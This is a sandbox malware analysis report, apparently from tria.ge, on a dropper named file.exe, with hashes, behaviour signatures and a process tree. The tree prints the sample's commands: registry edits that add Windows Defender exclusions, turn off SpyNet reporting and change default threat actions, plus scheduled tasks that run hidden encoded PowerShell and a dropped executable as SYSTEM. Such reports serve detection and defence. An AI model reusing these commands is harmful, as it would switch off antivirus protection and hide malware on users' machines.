Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    103s
  • max time network
    142s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/11/2022, 15:14

General

  • Target

    file.exe

  • Size

    7.2MB

  • MD5

    7fa42f74fa70031d6df8aca6db5e7825

  • SHA1

    dc412f739019fa9ed15c890d5c62d93b21686f9d

  • SHA256

    294d6e22e5ed52748678e0bb0134b2c40fa50495cac5aa847f7503b8275a8c76

  • SHA512

    0fed096edfe06b4ab067c5743585236d0a6da9b79108fe77d1f4b74bb014888e8ead2939a943013ef42b380ecaebae1585921a8d4214927626f4e325eb7a494d

  • SSDEEP

    196608:91OvKooqxiSlZsiCHmxzuzym+offTlIZ0NdrKO/y2iG:3OvKooqISlZyiAyzmyZwCG

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 1 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 27 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 40 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4900
    • C:\Users\Admin\AppData\Local\Temp\7zS6798.tmp\Install.exe
      .\Install.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2504
      • C:\Users\Admin\AppData\Local\Temp\7zS6AB5.tmp\Install.exe
        .\Install.exe /S /site_id "525403"
        3⤵
        • Executes dropped EXE
        • Checks BIOS information in registry
        • Checks computer location settings
        • Drops file in System32 directory
        • Enumerates system info in registry
        • Suspicious use of WriteProcessMemory
        PID:4860
        • C:\Windows\SysWOW64\forfiles.exe
          "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3284
          • C:\Windows\SysWOW64\cmd.exe
            /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:5036
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
              6⤵
                PID:1812
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                6⤵
                  PID:4928
            • C:\Windows\SysWOW64\forfiles.exe
              "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:1736
              • C:\Windows\SysWOW64\cmd.exe
                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:1524
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                  6⤵
                    PID:1712
                  • \??\c:\windows\SysWOW64\reg.exe
                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                    6⤵
                      PID:2332
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /CREATE /TN "glffhDrsN" /SC once /ST 00:53:38 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                  4⤵
                  • Creates scheduled task(s)
                  PID:5112
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /run /I /tn "glffhDrsN"
                  4⤵
                    PID:3164
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /DELETE /F /TN "glffhDrsN"
                    4⤵
                      PID:3736
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /CREATE /TN "bBVaIzlnDmCfZYJVPe" /SC once /ST 16:15:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\RlgiSPEiYzcGRNSBh\jSMZhbudGlAqnod\wyWyXiK.exe\" he /site_id 525403 /S" /V1 /F
                      4⤵
                      • Drops file in Windows directory
                      • Creates scheduled task(s)
                      PID:3592
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:1780
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:4024
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                  1⤵
                    PID:3784
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                    1⤵
                      PID:4584
                    • C:\Windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:3708
                      • C:\Users\Admin\AppData\Local\Temp\RlgiSPEiYzcGRNSBh\jSMZhbudGlAqnod\wyWyXiK.exe
                        C:\Users\Admin\AppData\Local\Temp\RlgiSPEiYzcGRNSBh\jSMZhbudGlAqnod\wyWyXiK.exe he /site_id 525403 /S
                        1⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • Suspicious use of WriteProcessMemory
                        PID:2936
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:4400
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:1680
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              4⤵
                                PID:540
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:1128
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:1776
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:5020
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:3456
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:2832
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:2548
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:3580
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:380
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:3316
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:4712
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:2212
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:1532
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:1588
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:3728
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:4548
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:2076
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:4724
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:4796
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                    PID:4588
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                      PID:1636
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:4580
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:4564
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:4920
                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\cOXxRtOgsBQTudXDiqR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\cOXxRtOgsBQTudXDiqR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jZdENHYzeJUU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\jZdENHYzeJUU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mqfvheApU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mqfvheApU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\oRcdaxlTsLUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\oRcdaxlTsLUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\oirXTeRhkXgiC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\oirXTeRhkXgiC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\uUuIEpjQmOkIjOVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\uUuIEpjQmOkIjOVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\RlgiSPEiYzcGRNSBh\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\RlgiSPEiYzcGRNSBh\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\NXrxyQXzvaGsPkvU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\NXrxyQXzvaGsPkvU\" /t REG_DWORD /d 0 /reg:64;"
                                                                          2⤵
                                                                          • Drops file in System32 directory
                                                                          • Modifies data under HKEY_USERS
                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                          PID:5036
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cOXxRtOgsBQTudXDiqR" /t REG_DWORD /d 0 /reg:32
                                                                            3⤵
                                                                              PID:4840
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cOXxRtOgsBQTudXDiqR" /t REG_DWORD /d 0 /reg:32
                                                                                4⤵
                                                                                  PID:1912
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cOXxRtOgsBQTudXDiqR" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:4784
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jZdENHYzeJUU2" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:4612
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\jZdENHYzeJUU2" /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                      PID:640
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mqfvheApU" /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:2008
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mqfvheApU" /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:1716
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oRcdaxlTsLUn" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:1980
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oRcdaxlTsLUn" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:1608
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oirXTeRhkXgiC" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:588
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\oirXTeRhkXgiC" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:668
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\uUuIEpjQmOkIjOVB /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:1292
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\uUuIEpjQmOkIjOVB /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:528
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\RlgiSPEiYzcGRNSBh /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:5112
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\RlgiSPEiYzcGRNSBh /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:1452
                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\NXrxyQXzvaGsPkvU /t REG_DWORD /d 0 /reg:32
                                                                                                          3⤵
                                                                                                            PID:4876
                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\NXrxyQXzvaGsPkvU /t REG_DWORD /d 0 /reg:64
                                                                                                            3⤵
                                                                                                              PID:428
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /CREATE /TN "ggvloODYc" /SC once /ST 01:12:03 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                            2⤵
                                                                                                            • Creates scheduled task(s)
                                                                                                            PID:1504
                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
